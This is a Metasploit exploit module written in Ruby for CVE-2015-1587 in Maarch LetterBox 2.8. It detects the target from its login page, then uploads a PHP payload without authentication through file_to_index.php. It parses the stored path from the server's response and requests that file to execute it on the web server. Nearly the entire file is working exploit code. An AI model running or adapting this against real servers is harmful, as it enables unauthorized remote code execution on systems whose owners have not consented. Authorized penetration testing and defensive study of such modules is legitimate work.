##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Maarch LetterBox Unrestricted File Upload',
      'Description'     => %q{
        This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
        session and file validation in the file_to_index.php script. It allows unauthenticated
        users to upload files of any type and subsequently execute PHP scripts in the context of
        the web server.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Rob Carr <rob[at]rastating.com>'
        ],
      'References'      =>
        [
          ['CVE', '2015-1587']
        ],
      'DisclosureDate'  => 'Feb 11 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['Maarch LetterBox 2.8', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])
      ])
  end

  def letterbox_login_url
    normalize_uri(target_uri.path, 'login.php')
  end

  def letterbox_upload_url
    normalize_uri(target_uri.path, 'file_to_index.php')
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
    if res.nil? || res.code != 200
      return Msf::Exploit::CheckCode::Unknown
    elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
      return Msf::Exploit::CheckCode::Appears
    end

    Msf::Exploit::CheckCode::Safe
  end

  def generate_mime_message(payload, name)
    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")
    data
  end

  def exploit
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("Uploading payload...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => letterbox_upload_url,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200

    print_status("Parsing server response...")
    captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
    fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
    payload_url = normalize_uri(target_uri.path, captures[0])
    print_good("Response parsed successfully")

    print_status("Executing the payload at #{payload_url}")
    register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
    send_request_cgi({ 'uri' => payload_url, 'method'  => 'GET' }, 5)
  end
end
